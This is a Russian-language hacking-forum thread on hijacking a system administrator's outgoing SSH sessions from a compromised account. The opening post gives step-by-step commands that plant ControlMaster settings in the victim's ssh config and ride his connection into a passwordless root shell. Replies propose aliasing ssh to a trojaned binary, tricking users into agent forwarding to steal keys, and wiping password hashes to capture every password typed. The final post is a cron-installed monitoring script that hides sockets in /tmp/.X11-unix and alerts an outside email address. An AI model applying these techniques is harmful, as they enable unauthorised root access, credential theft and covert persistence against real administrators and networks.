PDA

Просмотр полной версии : Захват локальных исходящих соединений в OpenSSH


tipsy
20.08.2010, 02:39
Предположим, вы получили доступ к ssh аккаунту mike@firewall.com

Mike - системный администратор в крупной сети.
Так как прямого доступа к офисным серверам из дома у него нет, он логинится на mike@firewall.com, и оттуда выполняет команду:
ssh root@coolserver.intranet

У вас есть возможность нахаляву проехаться на его соединении прямо в уютный рутовый шелл на coolserver.intranet.
Для этого добавляем Майку в ~/.ssh/config следующее:
Host *
ControlMaster auto
ControlPath ~/.ssh/master-%r@%h:%p

Прибиваем его ssh соединение и ждём, пока Майк перелогинится на coolserver.intranet.
в каталоге .ssh появится файл(сокет) формата master-root@coolserver.intranet:22
Выполняем команду
$ ssh root@coolserver.intranet -o ControlPath=.ssh/master-root@coolserver.intranet:22
и вуаля - мы рут, без запроса пароля и какой-либо авторизации.
Ваша сессия инжектится внутрь уже существующего соединения.
Не мешкайте, потому что в момент, когда Майк завершит свою сессию - вас тоже выкинет.
Всё это происходит совершенно незаметно для самого пользователя.

У описанной выше задачи есть множество решений. Раньше я добавлял в .bash_profile "alias ssh=/tmp/my_cool_ssh", но это не всегда работает, и вариант с ControlMaster проще.


Кстати, обладая правами рута, можно захватывать исходящие соединения любых локальных пользователей к внешним ssh серверам, если вы прописали им эту опцию в ~/.ssh/config (либо вставили её в системный конфиг)
Это может быть полезно, если пропатчить ssh по каким-либо причинам нельзя.

Фрагмент мануала:
ControlMaster
Enables the sharing of multiple sessions over a single network
connection. When set to ``yes'', ssh(1) will listen for
connections on a control socket specified using the ControlPath
argument. Additional sessions can connect to this socket using
the same ControlPath with ControlMaster set to ``no'' (the
default). These sessions will try to reuse the master instance's
network connection rather than initiating new ones, but will fall
back to connecting normally if the control socket does not exist,
or is not listening.

tex
13.01.2011, 03:24
Намного выгоднее будет засниферить его пароль от ссш, так что этот способ может пригодится только уж совсем в спартанских условиях =)

tipsy
13.01.2011, 15:01
А как его заснифферить, если рута нет?
Толкового фэйка на ssh лично мне не попадалось.

tex
13.01.2011, 15:14
Придумать можно множество вариантов, как например : протроянить ssh и в .profile поставить алиас на протрояненный бинарник, рут не нужен.

tipsy
13.01.2011, 15:40
Отличный вариант, вроде бы на поверхности, но шаблонное мышление не давало его увидеть :)

Вариант в первом посте конечно жёсткий в том плане, что нужно в реальном времени отлавливать исходящий коннект от администратора и залезать в его сессию (ssh изредка выдаёт при этом ошибки в master-окно, закономерность не отловил), но есть сценарии, когда других простых вариантов нет - например, если авторизация организована по защищённым паролем id_rsa ключам или Kerberos тикетам.

tex
13.01.2011, 16:31
но есть сценарии, когда других простых вариантов нет - например, если авторизация организована по защищённым паролем id_rsa ключам или Kerberos тикетам.

Мы все надеюсь понимаем, что имеем возможность подставить админу что угодно наше- в том числе и протрояненную командную оболочку.

tipsy
13.01.2011, 16:49
Понимаем, но готового кода не имеем.
Если у тебя был опыт с кейлоггерами, отпишись (https://rdot.org/forum/showthread.php?t=1088), буду благодарен.

naqnaq
13.01.2011, 18:30
прога с похожим функционалом уже была предствалена в паблике на Blackhat USA и DEFCON.
Если не изменяет память называлась она metlstorms_sshjack...

hard
13.01.2011, 22:37
имхо слишком палевный и геморный способ. Лучше троянить сам ssh.

tex
13.01.2011, 23:43
Точно подобный софт не использовал но так найти возможно можно что-то..

А metlstorms_sshjack точно - внедряется в процесс ssh и дает доступ к оболочке.

Pashkela
14.01.2011, 00:41
Ми конечно извиняюсь, как ламер, но не особо понял смысл выражений:

протроянить ssh и в .profile поставить алиас на протрояненный бинарник, рут не нужен.

и нижеследующих совещаний-обобрений. Парни, если это и ПРАВДА возможно, поделитесь как) Плюс не заржавеет ^_^

ЗЫЖ обратите вминание на то, что толстеньким выделено

tex
14.01.2011, 01:28
файл /home/user/.profile

alias ssh=/tmp/ssh_infected

tipsy
14.01.2011, 04:37
А metlstorms_sshjack точно - внедряется в процесс ssh и дает доступ к оболочке.

Внедряется в процесс и включает ControlMaster на лету. На поддерживаемых системах это позволяет избежать шага
Прибиваем его ssh соединение и ждём, пока перелогинится
Потестил на паре систем - не работает. Так как кода, специфического для версий и дистрибутивов внутри не обнаружено, похоже что в свежий ssh добавили какой-то антидебаг.

third.lag
02.02.2011, 22:55
subtty вам в помощь

euro
08.02.2011, 19:18
а ключ id_dsa можно как то отловить ?

tex
09.02.2011, 02:27
Нет =)

tipsy
09.02.2011, 03:03
Почему нет? А кейлоггер, про который писали выше и в соседнем треде?

tex
09.02.2011, 12:54
Тут надо еще понять что он имел ввиду =) Я так понял - находясь на сервере отловить ключ,- который используется на клиенте, для авторизации на данном сервере.

hard
09.02.2011, 14:20
Клиентский нет, серверный да

euro
09.02.2011, 14:42
2tex, правильно понел )

tipsy
09.02.2011, 15:02
Тут надо еще понять что он имел ввиду =) Я так понял - находясь на сервере отловить ключ,- который используется на клиенте, для авторизации на данном сервере.

Перечитал - да, похоже имелось ввиду именно это.

Единственный сценарий захвата ключа клиента на подконтрольном сервере, который приходит мне в голову может выглядеть так:

Скрипт в .profile проверяет, создаётся ли сокет агента (google "ssh agent forwarding")
если нет, дропает соединение с сообщением "Ошибка аутентификации. Используйте ssh с ключом -A"
Когда юзер задолбается и залогинится с -A, присасывайся к сокету в вперёд.

Да, это соц. инженерия, а не баг, но по-другому никак.

Ещё вариант - удалить ключ и надеяться, что введённый юзером пароль подойдёт.
А лучше ещё и прибить хэш в /etc/shadow и записать все пароли, которые он введёт (потребует нестандартного патча sshd). При внезапном сбое аутентификации человеку свойственно пробовать все свои пароли перед тем как сдаться.

Upd: Кстати, может быть вариант, что агент уже форвардится, тогда халява, повезло.

euro
14.04.2011, 12:55
Спасибо способ очень помог (=
для мониторинга небольшой скриптик
#!/bin/sh
#Host *
#ControlMaster auto
#ControlPath /tmp/.X11-unix/master-%r@%h:%p
cat << EOF > /tmp/mail
DIR="/tmp/.X11-unix/"

if [ "$(ls -A $DIR)" ]; then
mail -s "New files detect" mail@gmail.com < /dev/null
else
exit 0
fi
EOF
chmod +x /tmp/mail
crontab -l | { cat; echo "*/01 * * * * /tmp/mail >/dev/null 2>&1"; } | crontab
echo "done"